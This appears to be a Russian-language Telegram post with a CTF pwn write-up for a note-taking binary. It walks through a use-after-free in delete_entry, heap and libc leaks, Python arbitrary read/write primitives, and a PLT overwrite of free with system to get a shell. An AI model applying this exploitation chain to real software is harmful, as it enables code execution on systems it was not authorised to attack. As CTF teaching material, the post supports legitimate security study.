TGViewer
Райтапы по CTF{2026} Райтапы по CTF{2026} @writeup_ctf · 4.53K subscribers
Post #902 2.27K
#duckerzctf2026 #PWN

🤱 Девочка-волшебница [клик]

Нам дан классически таск на заметки. Мы можем создавать страницу, в которой можем создавать, редактировать, смотреть и удалять записи. Про функционал страниц сразу же забываем, он существует для отвода глаз и потому что в начале была крутая идея, но не воспользовался. Наша задача получить rce.

Уязвимость
Невооруженным взглядом можно обнаружить багу, при удалении записи, соответсвующий указатель не зануляется.
/*
* ♪ Удаляю записечку - прощай, старый секретик! ♪
* Освобождаю память заклинанием free~
*/
void delete_entry(int page_number) {
int entry_number;
printf("Какую записечку стереть? ♪ ");
scanf("%d", &entry_number);

if (entry_number < 0 || entry_number >= 32) {
puts("Нет такой записечки! ╮(╯_╰)╭");
return;
}

if (Diary.pages[page_number]->entries[entry_number] == NULL) {
puts("Тут и так ничего нет, глупышка~ (≧◡≦)");
return;
}

free(Diary.pages[page_number]->entries[entry_number]->content); /* Освобождаю память! */
free(Diary.pages[page_number]->entries[entry_number]);
}


План

Это значит, что мы можем освободить запись и все равно писать и читать из нее. Проще всего это взломать, создав страницу с контентом размера структуры (0x10), тогда мы сможем прочитать содержимое освобожденного чанка и переписать указатель в структуре, что позволит нам писать и читать в/на произвольные адреса.

Сетап
Аллоцируем страницу. Аллоцируем запись размера 0x10, освобождаем ее. Аллоцируем вторую страницу размера 0x10.
create_entry(io, 1, 0x10, b"x")
time.sleep(0.1)
delete_entry(io, 1)
time.sleep(0.1)
create_entry(io, 0, 0x10, b"x")

Теперь `entries[0].content == entries[1]

Лик хипы
Для начала нам нужно получить хоть какой то адрес. Для этого прочитаем запись 0, мы увидим там нечто похоже на адрес(последний байт мы переписали). Это так называемый [mangled adress](https://book.hacktricks.wiki/en/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.html). Не думаем, гуглим и находим [репу](https://github.com/mdulin2/mangle) для восстановления адреса.

Arbitrary read
Теперь мы можем написать в entries[0].content, переписать указатель на content и size и прочитать/записать в/на entries[1]

def arbitrary_read(addr: int) -> int:
edit_entry(io, 0, p64(8) + p64(addr))
time.sleep(0.1)
res = u64(read_entry(io, 1)[:8])
time.sleep(0.1)
return res

def arbitrary_write(addr: int, data: bytes) -> int:
edit_entry(io, 0, p64(len(data)) + p64(addr))
time.sleep(0.1)
edit_entry(io, 1, data)
time.sleep(0.1)


Лик либцы, стека, бинаря
Хотелось бы получить адрес либси. Для этого воспользуемся известной техникой: аллоцируем чанк в ансортед бин (любой чанк размера больше 0x511) и в нем появится указатель на либси. Теперь просто посчитаем оффсет до этого адреса и прочитаем его через arbitrary_read. Далее через другую известную технику ликаем адрес стека из environ, затем со стека ликаем адрес самого бинаря.

Взлом
Самый простой способ получить шел: вызвать system("/bin/sh"), для этого перешем plt free на system и освободим запись с текстом "/bin/sh\x00".

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
  • ❤ 8
  • 😱 5
More from @writeup_ctf
  1. Sep 25, 2026Друзья! Ищу инфорпартнеров, которые поддержат самый жаркий CTF этой осени! Пишите @freenam…
  2. Sep 24, 2026Друзья, уже второй раз еду на «НеоКВЕСТ» проводить мастер-класс по локпику. И вас приглаша…
  3. Sep 21, 2026Регистрация на SolarCTF открыта ☀️ Первые студенческие соревнования по кибербезопасности о…
  4. Sep 10, 2026Следующая остановка — VolgaCTF 🚘 Standoff 365 уже на низком старте: с 16 по 18 сентября б…
  5. Sep 10, 2026Большой пост 🐬 Сегодня днем я был на конференции IT Elements и слушал дискуссию, одним из…
  6. Sep 10, 2026КУБОК ФЕДЕРАЦИИ 2026 CTF • ПРИЗОВОЙ ФОНД 500 000 ₽ Стартуем. Регистрация открыта. Два этап…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →